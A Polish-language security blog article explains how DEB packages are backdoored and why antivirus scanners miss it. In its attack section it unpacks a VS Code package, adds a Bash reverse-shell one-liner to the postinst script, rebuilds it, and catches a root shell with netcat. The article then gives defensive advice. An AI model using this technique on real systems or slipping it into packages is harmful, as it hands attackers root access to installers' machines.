W jaki sposób pakiety DEB są atakowane backdoorem i jak to wykryć

Photo of author

By maciekx

Istotne aspekty bezpieczeństwa pakietów na wynos

  • Pakiety DEB mogą być podatne na ataki typu backdoor, umożliwiając cyberprzestępcom wstrzyknięcie niebezpiecznego kodu do systemu operacyjnego po instalacji z uprawnieniami administratora.
  • Wykrywanie zainfekowanych pakietów DEB bywa utrudnione, gdyż często nie są one identyfikowane przez programy antywirusowe ani skanery online, jak np. VirusTotal.
  • Dla zapewnienia bezpieczeństwa, unikaj pobierania pakietów DEB z niesprawdzonych źródeł, korzystaj z oficjalnych stron lub renomowanych serwisów i rozważ wdrożenie narzędzi zabezpieczających przed atakami sieciowymi w systemie Linux.

Pliki DEB stanowią podstawowy format pakietów oprogramowania wykorzystywany w dystrybucjach systemu Linux opartych na Debianie.

Instalacja pakietów DEB wymaga użycia menedżera pakietów, takiego jak dpkg, z uprawnieniami administratora. Ta możliwość jest wykorzystywana przez hakerów, którzy wstrzykują do pakietów backdoory. W trakcie instalacji za pomocą menedżera pakietów, złośliwy kod jest uruchamiany, co stanowi zagrożenie dla systemu.

Przyjrzyjmy się bliżej, jak pakiety DEB są modyfikowane za pomocą backdoorów i jak można się przed tym chronić.

Sposoby infekowania pakietów DEB backdoorami

Zanim omówimy metody infekowania, warto zrozumieć strukturę pakietu DEB. Na potrzeby przykładu, pobierzemy pakiet Microsoft Visual Studio Code z oficjalnej strony Microsoft. Jest to pakiet, który można pobrać w celu instalacji VS Code na systemie Linux.

Pobierz: Visual Studio Code

Po pobraniu pakietu, należy go rozpakować. Można to zrobić za pomocą polecenia `dpkg-deb` z flagą `-R` i podaniem ścieżki docelowej:

 dpkg-deb -R <nazwa_pakietu> <ścieżka> 

Ta operacja spowoduje wyodrębnienie zawartości pakietu VS Code.

W rozpakowanym folderze znajdziemy różne katalogi, ale nas interesuje szczególnie katalog `DEBIAN`. Zawiera on skrypty opiekuna, które są wykonywane w trakcie instalacji z uprawnieniami administratora. To właśnie te skrypty są najczęściej modyfikowane przez cyberprzestępców.

Dla przykładu, zmodyfikujemy skrypt `postinst`, dodając prostą, jednowierszową odwrotną powłokę TCP w Bash. Skrypt ten, jak nazwa wskazuje, jest wykonywany po instalacji pakietu.

Skrypt zawiera instrukcje finalizujące konfigurację, takie jak tworzenie dowiązań symbolicznych, zarządzanie zależnościami i inne. W Internecie można znaleźć wiele różnych odwróconych powłok. Większość z nich działa w podobny sposób. Oto przykład takiej powłoki:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Wyjaśnienie polecenia:

  • `bash`: Uruchamia powłokę Bash.
  • `-i`: Włącza tryb interaktywny powłoki, umożliwiając interakcję w czasie rzeczywistym.
  • `>& /dev/tcp/ip/port`: Przekierowuje standardowe wyjście i błędy do gniazda sieciowego, tworząc połączenie TCP z określonym adresem IP i portem.
  • `0>&1`: Przekierowuje wejście do tego samego gniazda sieciowego.

Odwrócona powłoka to rodzaj kodu, który po uruchomieniu na docelowym urządzeniu inicjuje połączenie z maszyną atakującego. Jest to skuteczna metoda obejścia ograniczeń zapory sieciowej, ponieważ ruch pochodzi z komputera za zaporą.

Tak wygląda zmodyfikowany skrypt:

Skrypt został zmodyfikowany przez dodanie jednej linijki kodu z odwrotną powłoką Bash. Następnie, pliki trzeba ponownie skompilować do formatu `.deb`. Można to zrobić za pomocą polecenia `dpkg –build` lub `dpkg-deb -b`, podając ścieżkę do rozpakowanej zawartości:

 dpkg --build <katalog>
dpkg-deb -b <katalog>

Teraz pakiet DEB z backdoorem jest gotowy do dystrybucji na złośliwych stronach. Symulujemy scenariusz, w którym ofiara pobiera i instaluje pakiet w systemie.

Górny panel terminala przedstawia punkt widzenia ofiary, a dolny – atakującego. Ofiara instaluje pakiet za pomocą `sudo dpkg -i`, a atakujący nasłuchuje połączeń przychodzących przez `netcat`.

Po zakończeniu instalacji, atakujący uzyskuje dostęp do powłoki w systemie ofiary z uprawnieniami administratora. Teraz wiemy, jak modyfikowane są pakiety DEB. Zobaczmy, jak się przed tym chronić.

Wykrywanie złośliwych pakietów DEB

Zainfekowane pakiety DEB stanowią realne zagrożenie, dlatego ważne jest, aby wiedzieć, jak je wykryć. Na początku można spróbować użyć programu antywirusowego dla systemu Linux, np. ClamAV. Niestety, po przeskanowaniu pakietu nie został on oznaczony jako złośliwy. Wynik skanowania jest następujący:

Zatem, jeśli nie korzystasz z zaawansowanego oprogramowania antywirusowego (co i tak nie gwarantuje całkowitej ochrony), wykrycie złośliwych pakietów DEB jest trudne. Spróbujmy skorzystać z rozwiązania w chmurze, jakim jest VirusTotal:

Jak widać, VirusTotal również nie wykrył żadnych nieprawidłowości. Jedynym sposobem ochrony jest przestrzeganie zasad bezpieczeństwa, takich jak unikanie pobierania plików z nieznanych źródeł, weryfikacja skrótów plików i ostrożność przy instalowaniu oprogramowania.

Internet pełen jest zagrożeń. Aby bezpiecznie korzystać z sieci, należy zachować ostrożność i korzystać ze sprawdzonych stron. W przypadku systemu Linux warto sprawdzić, czy oprogramowanie jest dostępne w formacie AppImage, który jest niezależny i może działać w trybie piaskownicy, co ogranicza jego interakcję z systemem.

Unikaj pobierania pakietów DEB z nieznanych źródeł

Pakiety DEB same w sobie nie są niebezpieczne, ale hakerzy mogą je łatwo zmodyfikować. Można w prosty sposób dodać niestandardowy kod do pakietu, co czyni go potencjalnym wektorem złośliwego oprogramowania.

Nawet proste backdoory w pakietach DEB mogą nie zostać wykryte przez oprogramowanie antywirusowe. Najlepszą strategią jest ostrożność, zdrowy rozsądek podczas przeglądania sieci i pobieranie oprogramowania wyłącznie z oficjalnych źródeł lub zaufanych stron.

Teraz, gdy znasz zagrożenia związane z instalowaniem pakietów DEB z nieznanych stron, zachowaj ostrożność podczas instalacji nowego oprogramowania. Sama ostrożność to nie wszystko. Twój system Linux może być narażony na ataki sieciowe.

Dla pełnego bezpieczeństwa rozważ wdrożenie narzędzi zabezpieczających przed atakami sieciowymi.


newsblog.pl